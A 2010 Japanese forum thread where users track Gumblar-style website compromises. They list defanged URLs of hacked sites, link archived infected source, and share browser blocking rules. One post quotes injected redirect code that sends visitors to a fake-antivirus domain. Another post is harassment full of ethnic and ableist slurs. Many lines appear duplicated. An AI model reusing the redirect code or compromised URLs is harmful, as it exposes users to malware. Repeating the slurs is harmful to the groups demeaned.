17:08時点では修正済みでは? 感染時ソースの魚拓↓
http://megalodon.jp/2010-0602-416-03/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Feccube.jp%2Findex.html
外部.jsの場合、自分は魚拓を表示できないので
ピリオドをパーセントエンコードするか、JSUNPACKのレポートにして欲しいです↓
http://megalodon.jp/2010-0601-1513-45/www.dan.co.uk/viewsource/index.php?url=http://www.sutoband.org/js/scroll_news%2Ejs
http://jsunpack.jeek.org/dec/go?report=6bfc48ba1e492f69a3c1f52e5d873eee2e4a7924
441 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 21:27:53
>>428
サイトが乗っ取られてみたいです
サイトが乗っ取られてみたいです
442 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 21:33:50
443 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 22:35:24
>>412 404返すようになってきた
http://megalodon.jp/2010-0602-2208-14/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fkanto.itca.or.jp%2Fwic%2Fattachment%2F97%2Fstyle%252Ecss
Last-Modified: Wed, 06 Aug 2008 18:40:52 GMT
2008年に乗っ取られたのがガンブラーのおかげで発覚したのか
http://megalodon.jp/2010-0602-2208-14/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fkanto.itca.or.jp%2Fwic%2Fattachment%2F97%2Fstyle%252Ecss
Last-Modified: Wed, 06 Aug 2008 18:40:52 GMT
2008年に乗っ取られたのがガンブラーのおかげで発覚したのか
444 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 00:50:13
445 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 04:53:57
>>412,429
www●mypersonalhttp●com:8080 ← ここに行って
goscanfor●com ←ここに飛ばされ
microsoft●msn●com●chimen●info ←ここでFakeAVの実演販売
Google先生も怒ってます
www●mypersonalhttp●com:8080 ← ここに行って
goscanfor●com ←ここに飛ばされ
microsoft●msn●com●chimen●info ←ここでFakeAVの実演販売
Google先生も怒ってます
446 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 05:01:18
445です
gred先生は「このサイトは安全です」とな（ダメじゃん）
gred先生は「このサイトは安全です」とな（ダメじゃん）
447 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 07:27:53
>>443
大元は[社団法人 情報通信設備協会]http://itca.or.jpで
ttp://itca.or.jp/kanto/ が ttp://tkanto.itca.or.jp/ に転送される
http://www.google.com/search?q=http://itca.or.jp/kanto/wic/attachment/97/&num=50
2年前からコメントスパム配信基地だった
大元は[社団法人 情報通信設備協会]http://itca.or.jpで
ttp://itca.or.jp/kanto/ が ttp://tkanto.itca.or.jp/ に転送される
http://www.google.com/search?q=http://itca.or.jp/kanto/wic/attachment/97/&num=50
2年前からコメントスパム配信基地だった
×コメントスパム
○トラックバックスパム
○トラックバックスパム
449 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 08:40:58
>>442
げぇ……レジストリまで探らないといけないのか
そんなのここに初めて来たばかりのPCに疎い人とかにさせたら
重要なの消して悲惨な事になりそうだ
そこまで徹底的にしないと対策が不十分と言われるんじゃ
未だにガンブラー広がってるのも納得
広がってるスピードや広がってる対象（政府関連、ウェブ業者関連）がおかしいとは思うけど
げぇ……レジストリまで探らないといけないのか
そんなのここに初めて来たばかりのPCに疎い人とかにさせたら
重要なの消して悲惨な事になりそうだ
そこまで徹底的にしないと対策が不十分と言われるんじゃ
未だにガンブラー広がってるのも納得
広がってるスピードや広がってる対象（政府関連、ウェブ業者関連）がおかしいとは思うけど
450 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 10:03:19
>>440
ECCUBE.JPの訂正
http://megalodon.jp/2010-0602-1455-03/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Feccube.jp%2Findex.html
ECCUBE.JPの訂正
http://megalodon.jp/2010-0602-1455-03/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Feccube.jp%2Findex.html
451 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 10:39:09
取扱注意
www●cowtv●jp/channel/student/index●php
www●cowtv●jp/channel/student/index●php
452 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 11:19:37
www●odcc●jp
大阪デジタルコンテンツビジネス創出協議会
世界へ優れたコンテンツ…じゃなくてウィルス発信中
大阪デジタルコンテンツビジネス創出協議会
世界へ優れたコンテンツ…じゃなくてウィルス発信中
453 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 11:25:24
>>451 452
どちらもすごいですね 凸完
どちらもすごいですね 凸完
454 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 13:16:37
www●triskelionpublishing●net/
455 ：コテハン ◆8080adndqg ：2010/06/03(木) 14:45:53
【陥落サイトのURL悪用厳禁】
www●ktm-ktm●com/tomoko ←途中切れ
www●w-ouen●com/i/machi ←未対応
www●kyotoclub-ilias●net/m/ ←電話用
www●triskelionpublishing●net/index●html ←途中切れ
www●giuglianoweb●com ←途中切れ
gpindy●com/ ←電話用
www●haisui●com/ec/html/
netgames●kirara●st/netgames
d07●mobair●info
www●suit-order●com ←絶賛放置中
park17●wakwak●com/~bayside/URANAI/R/ALLSITE/main●html
get-motorcycle●com/
【本日の(ry
infotop777●com/detail●php?id=style1198741395
↓ページ内の[Click Here!]を押した先↓
okuo2●cyberinfostation●jp/ ←＼(^o^)／
www●ktm-ktm●com/tomoko ←途中切れ
www●w-ouen●com/i/machi ←未対応
www●kyotoclub-ilias●net/m/ ←電話用
www●triskelionpublishing●net/index●html ←途中切れ
www●giuglianoweb●com ←途中切れ
gpindy●com/ ←電話用
www●haisui●com/ec/html/
netgames●kirara●st/netgames
d07●mobair●info
www●suit-order●com ←絶賛放置中
park17●wakwak●com/~bayside/URANAI/R/ALLSITE/main●html
get-motorcycle●com/
【本日の(ry
infotop777●com/detail●php?id=style1198741395
↓ページ内の[Click Here!]を押した先↓
okuo2●cyberinfostation●jp/ ←＼(^o^)／
456 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 16:16:14
netgames●kirara●st/netgames
d07●mobair●info
www●suit-order●com
park17●wakwak●com/~bayside/URANAI/R/ALLSITE/main●html
get-motorcycle●com/
infotop777●com/detail●php?id=style1198741395
okuo2●cyberinfostation●jp/
鯖屋とJPCERT連絡完了。
d07●mobair●info
www●suit-order●com
park17●wakwak●com/~bayside/URANAI/R/ALLSITE/main●html
get-motorcycle●com/
infotop777●com/detail●php?id=style1198741395
okuo2●cyberinfostation●jp/
鯖屋とJPCERT連絡完了。
457 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 16:20:15
kanto●itca●or●jp/の「お問い合わせ」のドメインが
共有SSLだしGoogleにキャッシュされてるし、胡散臭い
http://www.google.com/search?q=site%3Aserver08.instantssl.co.jp%2F&num=50
共有SSLだしGoogleにキャッシュされてるし、胡散臭い
http://www.google.com/search?q=site%3Aserver08.instantssl.co.jp%2F&num=50
458 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 17:32:51
www●torihada●com
鳥肌実公式サイトが…
鳥肌実公式サイトが…
459 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 19:22:51
kanto●itca●or●jp/
社団法人情報通信設備協会 関東地方本部
知らせたのにお礼のメールもなし。告知もなし。
こんな団体がセキュリティを語るな！
また、ページのTopにゴルフコンペの案内ってどんな温い団体なんだよ。
蓮舫 次はここをバッサリ切ってくれ
社団法人情報通信設備協会 関東地方本部
知らせたのにお礼のメールもなし。告知もなし。
こんな団体がセキュリティを語るな！
また、ページのTopにゴルフコンペの案内ってどんな温い団体なんだよ。
蓮舫 次はここをバッサリ切ってくれ
460 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 19:42:53
461 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 19:45:32
462 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 20:33:54
↑ 修正済み？？
463 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 21:07:14
>>462
>>443の時点で改竄されていたattachment/97/以下が404
Yahoo!のキャッシュにもガンブラーはないみたい
http://siteexplorer.search.yahoo.co.jp/advsearch?p=http%3A%2F%2Fkanto.itca.or.jp%2Fwic%2Fattachment%2F97%2F
http://siteexplorer.search.yahoo.co.jp/advsearch?p=http%3A%2F%2Fitca.or.jp%2Fkanto%2Fwic%2Fattachment%2F97%2F
>>443の時点で改竄されていたattachment/97/以下が404
Yahoo!のキャッシュにもガンブラーはないみたい
http://siteexplorer.search.yahoo.co.jp/advsearch?p=http%3A%2F%2Fkanto.itca.or.jp%2Fwic%2Fattachment%2F97%2F
http://siteexplorer.search.yahoo.co.jp/advsearch?p=http%3A%2F%2Fitca.or.jp%2Fkanto%2Fwic%2Fattachment%2F97%2F
464 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 22:48:48
>>459
いったいどんなスクリプトが？
いったいどんなスクリプトが？
465 ：名無しさん＠お腹いっぱい。：2010/06/03(木) 23:38:59
>>464
感染時のソースの魚拓。
http://megalodon.jp/2010-0602-1729-08/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fkanto.itca.or.jp%2Fwic%2Fattachment%2F97%2Fresource-218.html
</head><body><script>～
飛び先が.com:8080。珍しくAVGが反応した
感染時のソースの魚拓。
http://megalodon.jp/2010-0602-1729-08/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fkanto.itca.or.jp%2Fwic%2Fattachment%2F97%2Fresource-218.html
</head><body><script>～
飛び先が.com:8080。珍しくAVGが反応した
>>458
Last-Modified: Sat, 29 May 2010 14:27:16 GMT : http://megalodon.jp/2010-0603-2338-58/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.torihada.com%2Fjava%2FAC_RunActiveContent%2Ejs
Last-Modified: Sat, 29 May 2010 14:27:33 GMT : http://megalodon.jp/2010-0603-2340-15/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Etorihada%2Ecom%2Fjava%2Fneweindow%2Ejs
Last-Modified: Sat, 29 May 2010 14:27:24 GMT : http://megalodon.jp/2010-0603-2340-59/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Etorihada%2Ecom%2Fjava%2Fdspflash%2Ejs
>>440
こんなんでいい？
Last-Modified: Sat, 29 May 2010 14:27:16 GMT : http://megalodon.jp/2010-0603-2338-58/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.torihada.com%2Fjava%2FAC_RunActiveContent%2Ejs
Last-Modified: Sat, 29 May 2010 14:27:33 GMT : http://megalodon.jp/2010-0603-2340-15/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Etorihada%2Ecom%2Fjava%2Fneweindow%2Ejs
Last-Modified: Sat, 29 May 2010 14:27:24 GMT : http://megalodon.jp/2010-0603-2340-59/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Etorihada%2Ecom%2Fjava%2Fdspflash%2Ejs
>>440
こんなんでいい？
467 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 10:15:30
468 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 10:43:39
mokunen●com
木質燃料だけに…
木質燃料だけに…
469 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 11:10:45
d-money●jp
470 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 11:47:10
471 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 13:26:42
>>449
FFRWとかのレジストリ掃除ツール使えば手動で弄らなくてもそういう残骸はみんな消せるんだけどね
トラブルもほぼ起きない(RegSeekerみたいな漢専用ツールもあるから前評判は確かめた方がいいけど)
でも初心者じゃレジストリとか知らんだろうしな
俺は普通高校でhtml言語とかWordとかほんの少しやったけど
あんなもの教えるくらいならPCのセキュリティについて教えればいいのに
FFRWとかのレジストリ掃除ツール使えば手動で弄らなくてもそういう残骸はみんな消せるんだけどね
トラブルもほぼ起きない(RegSeekerみたいな漢専用ツールもあるから前評判は確かめた方がいいけど)
でも初心者じゃレジストリとか知らんだろうしな
俺は普通高校でhtml言語とかWordとかほんの少しやったけど
あんなもの教えるくらいならPCのセキュリティについて教えればいいのに
472 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 14:02:52
先生が教えられることは先生が説明できることだけだ
473 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 14:06:24
>>471
何歳だか知らんけど、既に教える内容は変わっていると思われ。
オッサンの俺はそもそも学校でPCなんか教わらなかった
(PC9801でDOSでパソコン通信の時代。当時の高校生は
友達とはポケベルでコミュニケーションしていた)。
数学や英語などと違って技術の進歩に合わせて頻繁に変わる
(変えざるを得ない)から、先生が大学で修得していなかったことを
教える羽目になってる(教科書棒読みの)数少ない教科なんじゃないかな。
何歳だか知らんけど、既に教える内容は変わっていると思われ。
オッサンの俺はそもそも学校でPCなんか教わらなかった
(PC9801でDOSでパソコン通信の時代。当時の高校生は
友達とはポケベルでコミュニケーションしていた)。
数学や英語などと違って技術の進歩に合わせて頻繁に変わる
(変えざるを得ない)から、先生が大学で修得していなかったことを
教える羽目になってる(教科書棒読みの)数少ない教科なんじゃないかな。
474 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 14:56:57
adgaw●com/keyword/b/
475 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 15:33:14
五色温泉の抱えてた切符ってラトビア行きだっけ？
476 ：コテハン ◆8080adndqg ：2010/06/04(金) 16:29:29
>>470 乙乙
【陥落サイトのURL悪用厳禁】
www●amakusaturigu●com/ ←絶賛放置中
www●kadaru●mydns●to/ ←相変わらず未対応(悪質)
↓↓↓↓↓
architects-egg●kadaru●mydns●to/ ／(^o^)＼
www●ad-jeaayf●com/links/
※※※アクセス注意！※※※
www●bestofunder●com/
↓
＜script language="JavaScript"＞top.location = 'ｈttp://antiviru●ru/';＜/script＞
＜meta http-equiv="Refresh" content="0; URL="ｈttp://antiviru●ru/"＞
＜center＞＜a href="ｈttp://antiviru●ru/"＞Click＜/a＞＜/center＞
＜a href="ｈttp://antiviru●ru/"＞ Click Here＜/a＞
※最下部のGumblar.xはきっと無害
www●bestofunder●com/indexst●html ←これが本家かな？
【陥落サイトのURL悪用厳禁】
www●amakusaturigu●com/ ←絶賛放置中
www●kadaru●mydns●to/ ←相変わらず未対応(悪質)
↓↓↓↓↓
architects-egg●kadaru●mydns●to/ ／(^o^)＼
www●ad-jeaayf●com/links/
※※※アクセス注意！※※※
www●bestofunder●com/
↓
＜script language="JavaScript"＞top.location = 'ｈttp://antiviru●ru/';＜/script＞
＜meta http-equiv="Refresh" content="0; URL="ｈttp://antiviru●ru/"＞
＜center＞＜a href="ｈttp://antiviru●ru/"＞Click＜/a＞＜/center＞
＜a href="ｈttp://antiviru●ru/"＞ Click Here＜/a＞
※最下部のGumblar.xはきっと無害
www●bestofunder●com/indexst●html ←これが本家かな？
477 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 16:50:24
少しは役に立つ機関… なのに知名度低いんだよな
http://www.ipa.go.jp/security/txt/2010/06outline.html
http://www.ipa.go.jp/security/txt/2010/06outline.html
479 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 20:54:44
PUA.HTML.Infected.WebPage-2
これもこのウイルスの検出名でおk？
これもこのウイルスの検出名でおk？
480 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 21:36:24
それを確認してどうするのかと
481 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 21:44:54
482 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 22:07:38
ブラウザキャッシュなら名前より検出場所でわかるんじゃないの
483 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 22:15:27
484 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 22:17:47
どういうエラーで落ちたのかにもよるけどそれは問題あるとおもいます
>>466
どもです
関連リンク
[いま一番危ないぜい弱性は何だ？ - 今週のSecurity Check：ITpro]
http://itpro.nikkeibp.co.jp/article/COLUMN/20100601/348706/
Java(JRA) 38%
Adobe Reader/Acrobat 36%
MDAC (UpdateしてないExcel)19%
[本当の攻撃はこれから？ Gumblarが怖い本当の理由 － TechTargetジャパン 情報セキュリティ]
http://techtarget.itmedia.co.jp/tt/news/1004/28/news01.html
（要会員登録or[-CmsMembersControl])
「Gumblar（ガンブラー）の攻撃モデルは、近年まれに見る成功例」鵜飼裕司
2010.03.25と古いですが
最近見て、改竄された不名誉は甘んじて受ける姿勢が好感したので↓
[音素材サイト『ザ・マッチメイカァズ』閉鎖の危機?! 管理人が語る“ガンブラー”の脅威- ガジェット通信]
http://getnews.jp/archives/53016
どもです
関連リンク
[いま一番危ないぜい弱性は何だ？ - 今週のSecurity Check：ITpro]
http://itpro.nikkeibp.co.jp/article/COLUMN/20100601/348706/
Java(JRA) 38%
Adobe Reader/Acrobat 36%
MDAC (UpdateしてないExcel)19%
[本当の攻撃はこれから？ Gumblarが怖い本当の理由 － TechTargetジャパン 情報セキュリティ]
http://techtarget.itmedia.co.jp/tt/news/1004/28/news01.html
（要会員登録or[-CmsMembersControl])
「Gumblar（ガンブラー）の攻撃モデルは、近年まれに見る成功例」鵜飼裕司
2010.03.25と古いですが
最近見て、改竄された不名誉は甘んじて受ける姿勢が好感したので↓
[音素材サイト『ザ・マッチメイカァズ』閉鎖の危機?! 管理人が語る“ガンブラー”の脅威- ガジェット通信]
http://getnews.jp/archives/53016
486 ：名無しさん＠お腹いっぱい。：2010/06/04(金) 22:45:16
444じゃなくて440でしたごめんなさい
あ、part5だた
park17●wakwak●com/~bayside/URANAI/R/ALLSITE/main●html
封鎖確認
wakwak案外はやいww
封鎖確認
wakwak案外はやいww
490 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 09:02:43
僕はちょうせんじん知的障害者です
魚醤系316系の僕のちょうせんじん知的障害者まとめです
322 ：316：2010/05/30(日) 03:42:15 ←なまえ316系 え？何これ怖いです。。。
324 ：315：2010/05/30(日) 08:32:37 ←なまえ316系さん？315？え？自分にお返事 何これ怖いです。。。
315
378 ：316：2010/06/01(火) 01:43:29 ←魚醤？ え？魚醤てなんですか？ あぁー。。。怖いです。。。（魚醤系）
>>375
あぁー。。。
>>280のアドレスで具具れば魚醤～
419 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:59:37 ←あ！魚拓になりました！よかったのであつた！
>>416
今回は魚拓をとってから電凸したのであつた
同人の魚拓好き腐まんこさん？あほ(ry
__､､=--､、 ＿＿
/ ・ ﾞ! ／・ ｀ヽ
| ・ __,ﾉ （＿ ・ |
ヽ、 (三,､, ＿） / 僕あほ ちゃうどー 電凸すきやねん電凸て何？
/ー-=-i'’ （__＿＿,,,.ノ
|＿＿,,/ |＿＿ゝ ← 新型Gumblar>316型 魚醤系 ボンクラ腐まんこ（推定）
〉 ） （ ）
↑
ぼくは知能指数？12です僕です(ry
魚醤系316系の僕のちょうせんじん知的障害者まとめです
322 ：316：2010/05/30(日) 03:42:15 ←なまえ316系 え？何これ怖いです。。。
324 ：315：2010/05/30(日) 08:32:37 ←なまえ316系さん？315？え？自分にお返事 何これ怖いです。。。
315
378 ：316：2010/06/01(火) 01:43:29 ←魚醤？ え？魚醤てなんですか？ あぁー。。。怖いです。。。（魚醤系）
>>375
あぁー。。。
>>280のアドレスで具具れば魚醤～
419 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:59:37 ←あ！魚拓になりました！よかったのであつた！
>>416
今回は魚拓をとってから電凸したのであつた
同人の魚拓好き腐まんこさん？あほ(ry
__､､=--､、 ＿＿
/ ・ ﾞ! ／・ ｀ヽ
| ・ __,ﾉ （＿ ・ |
ヽ、 (三,､, ＿） / 僕あほ ちゃうどー 電凸すきやねん電凸て何？
/ー-=-i'’ （__＿＿,,,.ノ
|＿＿,,/ |＿＿ゝ ← 新型Gumblar>316型 魚醤系 ボンクラ腐まんこ（推定）
〉 ） （ ）
↑
ぼくは知能指数？12です僕です(ry
491 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 12:07:31
にほんごでおｋ
492 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 14:58:03
493 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 16:01:19
>>476
www●amakusaturigu●com ：Forbidden
www●bestofunder●com ：Gredで「Misleading Application (BW017B)」
後は変化なし
www●amakusaturigu●com ：Forbidden
www●bestofunder●com ：Gredで「Misleading Application (BW017B)」
後は変化なし
494 ：コテハン ◆8080adndqg ：2010/06/05(土) 16:36:21
■ホームページ更新代行
www●7500zei●com/ ←既に修正済
※ソースの最下部に8080の痕跡
<!--d2392c04537c5eaf61fe86d1998535a1-->
↓びんぐがコードを捕捉(きゃっしゅ)してた↓
cc●bingj●com/cache●aspx?q=site%3awww●7500zei●com%2f&d=4616900965040755&mkt=ja-JP&setlang=ja-JP&w=db69f17b,70c28a29
www●7500zei●com/ ←既に修正済
※ソースの最下部に8080の痕跡
<!--d2392c04537c5eaf61fe86d1998535a1-->
↓びんぐがコードを捕捉(きゃっしゅ)してた↓
cc●bingj●com/cache●aspx?q=site%3awww●7500zei●com%2f&d=4616900965040755&mkt=ja-JP&setlang=ja-JP&w=db69f17b,70c28a29
495 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:01:40
今日windows defenderでスキャンしたら
何か検出されたので検索したらどうやら
ガンブラー系っぽいものだった。
ガンブラー対策はこまめにしてた。
削除しようとしたら
再起動を促されて再起動したけど
セーフモードですら起動せず・・・・
泣く泣くクリーンインストールしました。
何かこれまでの対策が効かない
新型亜種でも出回っているのですか？
何か検出されたので検索したらどうやら
ガンブラー系っぽいものだった。
ガンブラー対策はこまめにしてた。
削除しようとしたら
再起動を促されて再起動したけど
セーフモードですら起動せず・・・・
泣く泣くクリーンインストールしました。
何かこれまでの対策が効かない
新型亜種でも出回っているのですか？
496 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:27:15
>>496
何を根拠にガンブラー言うのかわからんのだが･･･
>>4は8080系用の対策方法だから、違う系統の改竄に対しては効果が無い場合がある。
Gumblar(ガンブラー)＝サイト改竄の総称と決め付けてしまった
某セキュリティソフトベンダーと、それをそのまま報道したマスゴミの罪は大きい
何を根拠にガンブラー言うのかわからんのだが･･･
>>4は8080系用の対策方法だから、違う系統の改竄に対しては効果が無い場合がある。
Gumblar(ガンブラー)＝サイト改竄の総称と決め付けてしまった
某セキュリティソフトベンダーと、それをそのまま報道したマスゴミの罪は大きい
498 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:30:51
>>495
検出ウイルス名は？
検出ウイルス名は？
499 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:40:07
>>495 です。
ウイルス名はそもそもクリーンインストールしてしまったので
わからなくなってしまったんだけど、「downloader」みたいな単語があった
気がします。
検出されたウイルス名をググッたら完全にHITはしなかったんだけど
同じようなウィルス名のものがどうやらガンブラー系とのことでした。
ちなみにOSはXP SP3 でウイルス対策ソフトはAVAST５free、
火壁は PC TOOLS、ブラウザはIE7です。
アップデートとかこまめにやってましたが・・・
ほぼ毎日スキャンはしてました。
ちなみに今回のウイルスを検出したのは
windows defender でした。
ウイルス名はそもそもクリーンインストールしてしまったので
わからなくなってしまったんだけど、「downloader」みたいな単語があった
気がします。
検出されたウイルス名をググッたら完全にHITはしなかったんだけど
同じようなウィルス名のものがどうやらガンブラー系とのことでした。
ちなみにOSはXP SP3 でウイルス対策ソフトはAVAST５free、
火壁は PC TOOLS、ブラウザはIE7です。
アップデートとかこまめにやってましたが・・・
ほぼ毎日スキャンはしてました。
ちなみに今回のウイルスを検出したのは
windows defender でした。
500 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 17:58:47
501 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:06:30
こまめにアップデートしながらIE7？
何か色々穴がありそうな人だな
何か色々穴がありそうな人だな
502 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:10:35
>>499
IE7の時点でこまめにやってるとは言えない
IE7の時点でこまめにやってるとは言えない
503 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:17:27
504 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:29:23
>>499 です。
>>501-502
IE8は個人的な事情があって使ってませんでした。
今回はもう素直にIE8にしました。
>>500
毎日（平日）AVASTでスキャンしてたのですが
毎週末にdefenderでもスキャンします。
今回なぜかスパイウェアとして検出されました。
ウイルス名はやっぱり思い出せません。
ちなみにアングラなサイトには行かない程度に
ネットサーフィンする程度ですが・・・
>>501-502
IE8は個人的な事情があって使ってませんでした。
今回はもう素直にIE8にしました。
>>500
毎日（平日）AVASTでスキャンしてたのですが
毎週末にdefenderでもスキャンします。
今回なぜかスパイウェアとして検出されました。
ウイルス名はやっぱり思い出せません。
ちなみにアングラなサイトには行かない程度に
ネットサーフィンする程度ですが・・・
505 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:33:33
この一連のウイルスの場合、アングラも非アングラも関係無いってことが判ってない時点で(ry
506 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:52:13
>>505
すいません。
それくらいは知っていましたが、
（大手企業のサイトも改ざんされた等）
当方それほどPCに関するスキルがないので
何とかそれなりに情報収集して対応してきた
つもりです。
でも結局やられてしまったので
ちょっと悔しくてここで愚痴っただけです。
周辺機器のドライバのインストールや
年賀状の住所録を作り直すのが
めんどくさいですね。
残りの作業も今からがんばります。
すいません。
それくらいは知っていましたが、
（大手企業のサイトも改ざんされた等）
当方それほどPCに関するスキルがないので
何とかそれなりに情報収集して対応してきた
つもりです。
でも結局やられてしまったので
ちょっと悔しくてここで愚痴っただけです。
周辺機器のドライバのインストールや
年賀状の住所録を作り直すのが
めんどくさいですね。
残りの作業も今からがんばります。
507 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 18:52:22
まぁPC初心者じゃあ解らなくてもしょうがないだろ
おまけに初心者スレにこの類を扱うスレは存在しないからここにすがるしかない
おまけに初心者スレにこの類を扱うスレは存在しないからここにすがるしかない
508 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 19:18:36
ここもテンプレが改竄されてる時点で
509 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 19:31:00
＞ちょっと悔しくてここで愚痴っただけです。
見事な開き直りですね
見事な開き直りですね
510 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 21:24:05
>>506
いくつかレスキューディスクが提供されてるので試して欲しかったですね
■ノートン レスキュー ツール
http://security.symantec.com/nbrt/overview.asp
■Dr.Web LiveCD
http://drweb.jp/support/LiveCD.html
駆除できなくても住所録の救出くらいできたはず
■WinPE
http://lets-go.hp.infoseek.co.jp/winpe_index.html
いくつかレスキューディスクが提供されてるので試して欲しかったですね
■ノートン レスキュー ツール
http://security.symantec.com/nbrt/overview.asp
■Dr.Web LiveCD
http://drweb.jp/support/LiveCD.html
駆除できなくても住所録の救出くらいできたはず
■WinPE
http://lets-go.hp.infoseek.co.jp/winpe_index.html
511 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 23:38:06
>>504
IEはデフォルトの設定だと穴が多いから
Firefox＋NoScript＋AdblockPlus
この組み合わせを推奨する
NoScript→<IFRAME>禁止にチェックを入れる
AdblockPlus→|http://*:8080* をブロック
IEはデフォルトの設定だと穴が多いから
Firefox＋NoScript＋AdblockPlus
この組み合わせを推奨する
NoScript→<IFRAME>禁止にチェックを入れる
AdblockPlus→|http://*:8080* をブロック
512 ：名無しさん＠お腹いっぱい。：2010/06/05(土) 23:46:35
ほーらまたアンチFx厨が来まちゅよ～
513 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 02:09:59
FirewallやProxomitronやHIPS/IDSで遮断検知ルール作って
PC内全てのブラウザに適用出きるようにすればええがな
PC内全てのブラウザに適用出きるようにすればええがな
514 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 02:43:38
そんなスキル持ち合わせておらぬ！(ｷﾘｯ
515 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 03:08:12
>>511
糞企業のザルPCには激しくオススメしたい組み合わせ
糞企業のザルPCには激しくオススメしたい組み合わせ
516 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 04:43:29
Flash Player, Adobe Reader and Acrobat に致命的脆弱性だってよ。
攻略コードも既に出回ってるって。
攻略コードも既に出回ってるって。
517 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 05:02:54
現時点での対策がFlash 10.1 RCにしろってのが最悪だよな。
あれはあれでクラッシュするサイトがあったりしてまだまだ不安定な代物なのに。
あれはあれでクラッシュするサイトがあったりしてまだまだ不安定な代物なのに。
518 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 05:31:38
フラッシュプレイヤーとか競争相手が居ないからノンビリしてるんだろうなアドビ
のんびりし過ぎてユーザーから反感を買ってるのも知らずに・・・
のんびりし過ぎてユーザーから反感を買ってるのも知らずに・・・
519 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 06:55:03
HTML5だっけかに穴とか無ければそっちに移行してもらいたいもんだ
520 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 09:02:26
>>511
Vista以降のOSとIE8以降の組み合わせで使える保護モード使えよ
そうすりゃfirefoxより安全だろ
ChromeのWindows版や、IE8以降＋Vista以降は、ブラウザの主要部分を限定された権限で動かして、
ブラウザがセキュリティーホールでやられても影響が限定されるようになってる
firefoxは全部標準の権限で動いてるから、ブラウザがセキュリティーホールでやられるとまともに影響をうける
Vista以降のOSとIE8以降の組み合わせで使える保護モード使えよ
そうすりゃfirefoxより安全だろ
ChromeのWindows版や、IE8以降＋Vista以降は、ブラウザの主要部分を限定された権限で動かして、
ブラウザがセキュリティーホールでやられても影響が限定されるようになってる
firefoxは全部標準の権限で動いてるから、ブラウザがセキュリティーホールでやられるとまともに影響をうける
521 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 13:46:49
ここのアクセスしたらavastがトロイを発見しましたといいます
www●pacs●co.jp/pacs/hist_walk/walk_miyagi04/senwaka_saisyou_temp/
